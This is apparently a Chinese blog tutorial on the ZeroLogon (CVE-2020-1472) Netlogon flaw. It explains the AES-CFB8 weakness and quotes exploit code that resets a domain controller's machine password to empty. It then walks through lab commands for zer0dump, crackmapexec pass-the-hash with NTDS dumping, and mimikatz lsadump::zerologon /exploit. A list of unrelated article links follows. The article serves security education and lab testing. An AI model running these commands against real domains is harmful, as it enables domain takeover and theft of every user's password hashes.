本文将从攻防角度对CVE-2020-1472进行一个简单的介绍,并对如何检测和修复ZeroLogon提出具体建议。

什么是ZeroLogon?

Netlogon远程协议(也称为MS-NRPC)是一个远程进程调用(RPC)接口,仅由连接到域的设备使用。 MS-NRPC包括身份验证方法和建立Netlogon安全通道的方法。这些更新强制指定的Netlogon客户端行为,以便在成员计算机和Active Directory (AD)域控制器(DC)之间使用带有Netlogon安全通道的安全RPC。

Zerologon漏洞也称为CVE-2020-1472,它影响MS-NRPC所使用的加密身份验证方案(AES-CFB8),该方案具有多种用途,但最广为人知的原因是更改计算机帐户密码的能力,这可能导致Windows被攻击。该漏洞影响重大,风险评分达10.0满分。微软已在8月Patch Tuesday安全更新中将之修复。美国国土安全部上周也发布今年第4次紧急指令(Emergency Directive),要求所有政府机构应在周一午夜前修复好该漏洞。

AES-CFB8的工作原理是,通过在明文前面添加一个16字节的初始化矢量(IV),然后将AES应用于IV和明文的前16个字节,并采用AES输出的第一个字节,来加密明文的每个字节,奇热然后将其与下一个纯文本字节进行异或。

为什么这很重要?利用身份验证协议的方法是强行登录尝试。对于256个密钥中的1个,对全零的纯文本应用AESCFB8加密将导致全零的密文,从而启用登录绕过,这就是名称zerologon的来源。

攻击者的天堂

大多数PoC都将重点放在利用更改计算机帐户活动目录密码并利用它们建立资产立足点的能力上。利用它们来攻击域控制器,就像它们通常在域控制器AD组中一样,其权限通常高于标准权限,这可以启用具有较高权限的立足点并导致域管理员权限。

使用NetrServerPasswordSet2方法,可以为客户端创建一个新密码,该密码可以使用AES-CFB8用会话密钥进行加密。 Netlogon纯文本密码由516个字节组成,后四个表示密码长度。通过提供516个零,它将被解密为516个零或一个空密码。以这种方式更改密码只能在AD中进行更新。

大部分漏洞利用代码的工作原理是,向netlogon通道发送带有多个空字节的身份验证请求,然后发送一个零的密码文本和用于身份验证的质询标志,如以下代码段所示:

server_auth = nrpc.hNetrServerAuthenticate3(rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,target_computer + '\x00', ciphertext, flags)

如上所述,该攻击每256次尝试中就有1次起作用,因此至少需要256次身份验证尝试才能获得成功的利用条款,我见过的所有利用代码都将2000作为最大尝试,以确保0.04%的假阴性利用情况。下面的另一个代码片段显示了用于尝试对目标主机进行身份验证的for循环:

for attempt in range(0, MAX_ATTEMPTS):rpc_con, serverChallenge = try_zero_authenticate(dc_handle, dc_ip, target_computer)if rpc_con == None:print('=', end='', flush=True)else:breakif rpc_con:print('\nSuccess! DC can be fully compromised by a Zerologon attack.')plaintext = b'\x00' * 8sessionKey = nrpc.ComputeSessionKeyStrongKey('', plaintext, serverChallenge, None)ppp = nrpc.ComputeNetlogonCredential(plaintext, sessionKey)clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)print()blah = nrpc.hNetrServerPasswordSet2(rpc_con, dc_handle + '\x00',target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,target_computer + '\x00',update_authenticator(clientStoredCredential, sessionKey, 0), b'\x00' * 516)blah.dump()

但是,如果身份验证成功,则目标系统将以错误代码0进行响应,并导致计算机帐户的密码更改为空字符串。

在实验室环境中进行攻击测试

重要提示:在实时生产系统上执行这种攻击将中断域复制,通过代理中断域控制器,因此只能在你控制或能够回滚的实验室环境中执行。

现在谈论漏洞的工作原理很有必要,但是同样有趣的是它在环境中的工作方式。我的测试实验室环境由多种配置的Windows设备组成的:

域控制器

工作站

如果你有兴趣建立自己的实验环境,那么你实际上只需要一台域控制器和一台攻击设备,具体过程,请在此处点击查看。另外,还有一份建立家庭实验室的指南。
使用包括impacket在内的各种python脚本进行攻击需要满足一些先决条件,步骤如下:
1.下拉impacket并安装git clone 
2.cd impacket和&python3 -m pip install

安装Impacket

接下来,下载该漏洞利用程序的副本,那里有多个PoC用于测试,包括具有zerologon模块的最新版mimikatz。我将分别演示PoC和mimikatz,首先介绍zer0dump::
1.git clone ;
2.cd zer0dump && sudo pip install -r requirements.txt。

安装要求

脚本选项

利用这个工具来防御一个域控制器非常简单:
python3 zer0dump.py 10.10.100.38,其中10.10.100.38是域控制器的IP地址。该脚本将执行几次登录尝试,如果攻击成功,则将返回一个管理员哈希,该哈希可以通过哈希攻击或被破解和利用!

漏洞利用
该漏洞利用程序将域中的NTDS.dit(保留了该域上所有用户的所有NTLM哈希值)转储到/tmp/dumped.tmp.ntds,并利用秘密转储来转出本地管理员密码,如上所示。此外,由于返回的错误代码为零,因此我们可以看到漏洞利用成功。管理员的哈希值已设置为空字符串,我们可以通过将哈希值传递给 john the ripper(John the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD4、MD5等。)来确认这一点:

可以通过使用诸如crackmapexec之类的工具传递哈希攻击来对网络上的其他计算机进行身份验证来进一步利用这一点。
cme smb 10.10.100.1/24 -u  Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

Crackmap Exec被喷涂

由于我们是管理员,因此可以对此进行更多的武器化处理,并转储所有NTDS.dit以便稍后进行攻击:
cme smb 10.10.100.29 -u  Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 --ntds

python脚本非常酷,但是mimikatz呢? Mimikatz可以加载到内存中或以多种方式运行,为了方便介绍,我将在实验室内的Windows计算机上运行它,你可以从GitHub获取源代码。
构建完成后,可以通过在终端窗口或资源管理器窗口中启动exe来运行它:

mimikatz 2.2.0 x64

通过mimikatz执行zerologon攻击所需的命令如下:
lsadump::zerologon /server:DC2.purplehaze.defense /account:DC2$
这将引导mimikatz定位到DC2.purplehaze.defense,尤其是设备帐户DC2$。

主机容易受到攻击

如上图所示,主机确实很容易受到攻击,现在要利用该命令并附加/ exploit:
lsadump::zerologon /server:DC2.purplehaze.defense /account:DC2$ /exploit

利用成功

就这么简单,是不是太可怕了。不过Mimikatz和zer0dump也不是唯一的版本,github上现在有大量的PoC!

Github PoC

现在,我们已经可以更改设备的密码了?

本文我们介绍了攻击原理,下一章我们将详细介绍可以发起的攻击种类。

ZeroLogon(CVE-2020-1472) 漏洞的攻击与防御策略(上)相关推荐

  1. SQL注入漏洞的攻击与防御

    一.实验名称 SQL注入漏洞的攻击与防御 二.实验环境(详细说明运行的系统.平台及代码等) 1.攻击机系统环境:Windows 7/8/10 2.浏览器:Firefox 53.0.2(64位) 3.浏 ...

  2. SSRF漏洞原理攻击与防御(超详细总结)

    SSRF漏洞原理攻击与防御 目录 SSRF漏洞原理攻击与防御 一.SSRF是什么? 二.SSRF漏洞原理 三.SSRF漏洞挖掘 四.产生SSRF漏洞的函数 五.SSRF中URL的伪协议 六.SSRF漏 ...

  3. 论智能问答中的对抗攻击及防御策略

    大数据产业创新服务媒体 --聚焦数据 · 改变商业 编者按 深度学习模型应用广泛,但其自身有一定的"脆弱性",即模型输入的微小改动,在不影响人判断的情况下,可能使模型的输出出错,这 ...

  4. 百分点认知智能实验室出品:智能问答中的对抗攻击及防御策略

    编者按 深度学习模型应用广泛,但其自身有一定的"脆弱性",即模型输入的微小改动,在不影响人判断的情况下,可能使模型的输出出错,这个过程被称为对模型的对抗攻击.针对对抗攻击的研究,早 ...

  5. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

  6. SSRF漏洞的攻击与防御

    SSRF的成因看具体的后端实现TCP请求的库: 比如curl.php里的file_get_contents.fsockopen.Java里的openStream,HttpClient类,URLConn ...

  7. mysql延迟注入br,实验3—SQL注入漏洞的攻击与防御(基于时间延迟的盲注)

    1.实验名称 SQL报错注入 2.实验环境 1.攻击机系统环境:Windows 7/8/10 2.浏览器:Firefox 53.0.2(64位) 3.浏览器插件HackBar 1.6.3.1 3.实验 ...

  8. 零日漏洞发展格局及防御策略

    在过去的一年半中, 在野利用的零日漏洞数量持续飙升 ,这些软件制造商尚不知晓的漏洞正在被国家行为体黑客组织和勒索软件团伙滥用. 今年上半年,Google Project Zero统计了近20个零日漏洞 ...

  9. WEB攻击之 CSRF 攻击及防御策略

    介绍 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法. 释义: 跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如 ...

最新文章

  1. 避免后台脚本重复启动机制
  2. 机器学习笔记(十)降维和度量学习
  3. java 输出脉冲信号_一种使用SOC精确控制脉冲的方法
  4. SQLite Where 子句(http://www.w3cschool.cc/sqlite/sqlite-where-clause.html)
  5. Codeforces Round 504
  6. oracle交流 提问,Oracle常见提问6(转)
  7. 网络安全——局域网内网络攻击手段(MAC地址攻击、ARP攻击、DHCP攻击)
  8. 绝不在构造/析构函数中使用虚函数
  9. Android实现局部图片滑动指引效果
  10. 别以为太简单!创建最好邮件营销内容的13个技巧
  11. js 内置对象常用方法
  12. php实现,appleId授权登录app,sign in apple id
  13. 企业邮箱为何不能当作邮件群发工具
  14. HTML+CSS大作业—汽车商城-功能齐全(42页) 大学生汽车商城网页设计模板代码 网购网页作业成品 汽车商城网站设计成品
  15. 主板烧糊,大短路,不开机且烧糊成碳了还会导电
  16. CSS3解析抖音 LOGO制作
  17. 通俗易懂的机器学习入门指导
  18. Java毕业设计-外卖点餐管理系统
  19. 微信公众号开发 自定义分享 从前台到Java后台 调用微信JS接口分享朋友圈
  20. linux buffer io error,Linux Buffer I/O error on device dm-4, logical block,dm-4logical

热门文章

  1. Chrome安装插件Save All Resources
  2. 一年303个漏洞,Chrome被评为“最脆弱”浏览器,Opera 最安全!网友:Opera 还有人用?...
  3. 099node-MongoDB数据库添加账户
  4. 有效应对广发逾期催收这样做
  5. java实现的聊天程序
  6. ios开发面试常见问题及答案
  7. jquery去除字符串空格
  8. 企查查接口php版本~
  9. 计算机与音乐教育留学,计算机与儿童创新音乐教育
  10. 将VOC格式标注文件转换为Yolo格式